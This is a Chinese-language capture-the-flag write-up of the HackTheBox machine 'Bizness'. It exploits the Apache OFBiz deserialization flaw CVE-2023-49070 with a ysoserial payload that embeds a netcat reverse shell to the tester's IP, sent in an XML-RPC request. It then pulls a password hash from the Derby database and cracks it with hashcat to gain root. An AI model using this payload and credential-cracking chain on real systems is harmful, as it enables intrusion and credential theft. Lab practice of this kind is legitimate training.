跳到主要内容

Bizness

信息

Difficulty: Easy

Operating System: Linux

nmap 信息搜集

Nmap scan report for 10.10.11.252
Host is up (0.38s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e21d5dc2e61eb8fa63b242ab71c05d3 (RSA)
| 256 3911423f0c250008d72f1b51e0439d85 (ECDSA)
|_ 256 b06fa00a9edfb17a497886b23540ec95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
40081/tcp open tcpwrapped

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

探测 web 服务

添加 hosts 记录

10.10.11.252 bizness.htb

尝试直接访问 bizness.htb

访问 /

在页面底部发现

Powered by Apache OFBiz

经过查询,发现存在 CVE-2023-49070,Apache OFBiz 的反序列化命令执行漏洞

Apache OFBiz 反序列化漏洞利用

首先,生成反序列化载荷

┌─[randark@randark-Parrot]─[~]
└──╼ $jdk8 -jar ./tools/ysoserial-all.jar CommonsBeanutils1 "nc 10.10.16.45 9999 -e /bin/bash" | base64 | tr -d "\n"
rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVh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QBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAEAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAA8AA4AAAAMAAEAAAAFAA8AEgAAAAIAEwAAAAIAFAARAAAACgABAAIAFgAQAAlwdAAEUHducnB3AQB4cQB+AA14

然后发送载荷

GET /webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: bizness.htb
Cookie: JSESSIONID=A84EBC9D0B64EF31B1C26AC20991886B.jvm1; OFBiz.Visitor=10607
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Length: 4153

<?xml version="1.0"?>
<methodCall>
<methodName>ProjectDiscovery</methodName>
<params>
<param>
<value>
<struct>
<member>
<name>test</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQm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qYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==</serializable>
</value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

成功收到回连 shell

┌─[randark@randark-Parrot]─[~]
└──╼ $pwncat-cs -lp 9999
[17:46:58] Welcome to pwncat 🐈! __main__.py:164
[17:47:04] received connection from 10.10.11.252:36750 bind.py:84
[17:47:09] 0.0.0.0:9999: normalizing shell path manager.py:957
[17:47:14] 10.10.11.252:36750: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) ofbiz@bizness:/opt/ofbiz$ whoami
ofbiz

user pwned

(remote) ofbiz@bizness:/home/ofbiz$ ls -lh
total 4.0K
-rw-r----- 1 root ofbiz-operator 33 Jan 9 04:38 user.txt
(remote) ofbiz@bizness:/home/ofbiz$ cat user.txt
a6e1960ae60a8b6f296c831567ac9b34

提权探测

find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/su
/usr/bin/fusermount
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/umount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep

服务的敏感数据库泄露

/opt/ofbiz/runtime/data/derby/ofbiz/seg0 目录下存放的是数据库信息,其中可能会存在历史记录和敏感凭据等等

进入目录后,开始搜索可能泄露的凭据

cat * | grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}'
(remote) ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ cat * | grep -arin -o -E '(\w+\W+){0,5}password(\W+\w+){0,5}'
......
c6850.dat:1969:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y@usMozilla/5
c6850.dat:2086:passwordFuzz Faster U Fool v2
c6850.dat:2221:PasswordFuzz Faster U Fool v2
c6850.dat:2248:en+)https://bizness.htb/control/password
c6850.dat:2251:en.,https://bizness.htb/control/password
c6850.dat:2251:en,*https://bizness.htb/control/password-resetFuzz Faster U Fool
c6850.dat:2271:passwordFuzz Faster U Fool v2
c6850.dat:2295:PasswordFuzz Faster U Fool v2
c6850.dat:2327:passwordFuzz Faster U Fool v2
c6850.dat:2504:https://bizness.htb/control/find-passwordFuzz Faster U Fool v2
c6850.dat:2504:PasswordFuzz Faster U Fool v2
c6850.dat:2504:passwordFuzz Faster U Fool v2
c6850.dat:2680:passwordFuzz Faster U Fool v2
c6850.dat:2703:en+)https://bizness.htb/control/password
c6850.dat:2900:en,*https://bizness.htb/control/Password
c5fa1.dat:4:PASSWORDSEPERATOR_LINESEPERATOR_TEXTSTATE_PROVINCE
c180.dat:87:SYSCS_CREATE_USEuserNampasswordVARCHAR
c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
c180.dat:87:SYSCS_RESET_PASSWORuserNampasswordVARCHAR
c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
c180.dat:87:SYSCS_MODIFY_PASSWORpasswordVARCHAR
c54d0.dat:21:Password="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled
......

得到一个密码

$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

_ 替换为 /,将 - 替换为 +,得到

uP0/QaVBpDWFeo8+dRzDqRwXQ2I

base64 解码后,转为 hex,得到

b8fd3f41a541a435857a8f3e751cc3a91c174362

尝试识别哈希模式

┌─[randark@randark-Parrot]─[~]
└──╼ $hashid -emj b8fd3f41a541a435857a8f3e751cc3a91c174362
Analyzing 'b8fd3f41a541a435857a8f3e751cc3a91c174362'
[+] SHA-1 [Hashcat Mode: 100][JtR Format: raw-sha1]
[+] Double SHA-1 [Hashcat Mode: 4500]
[+] RIPEMD-160 [Hashcat Mode: 6000][JtR Format: ripemd-160]
[+] Haval-160
[+] Tiger-160
[+] HAS-160
[+] LinkedIn [Hashcat Mode: 190][JtR Format: raw-sha1-linkedin]
[+] Skein-256(160)
[+] Skein-512(160)
[+] MangosWeb Enhanced CMS
[+] sha1(sha1(sha1($pass))) [Hashcat Mode: 4600]
[+] sha1(md5($pass)) [Hashcat Mode: 4700]
[+] sha1($pass.$salt) [Hashcat Mode: 110]
[+] sha1($salt.$pass) [Hashcat Mode: 120]
[+] sha1(unicode($pass).$salt) [Hashcat Mode: 130]
[+] sha1($salt.unicode($pass)) [Hashcat Mode: 140]
[+] HMAC-SHA1 (key = $pass) [Hashcat Mode: 150][JtR Format: hmac-sha1]
[+] HMAC-SHA1 (key = $salt) [Hashcat Mode: 160][JtR Format: hmac-sha1]
[+] sha1($salt.$pass.$salt) [Hashcat Mode: 4710]
[+] Cisco Type 7
[+] BigCrypt [JtR Format: bigcrypt]

结合得到的密码的格式,可以猜测到这份哈希对应的 hashcat 模式为 120

PS D:\_Tool\hashcat-6.2.6> hashcat.exe -a 0 -m 120 "b8fd3f41a541a435857a8f3e751cc3a91c174362:d" .\dics\rockyou.txt --show
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness

root 凭据利用

(remote) ofbiz@bizness:/home/ofbiz$ su
Password:
root@bizness:/home/ofbiz# whoami
root

root pwned

root@bizness:~# cat root.txt 
1396ec8966e7b380e15ac55e2d083aa2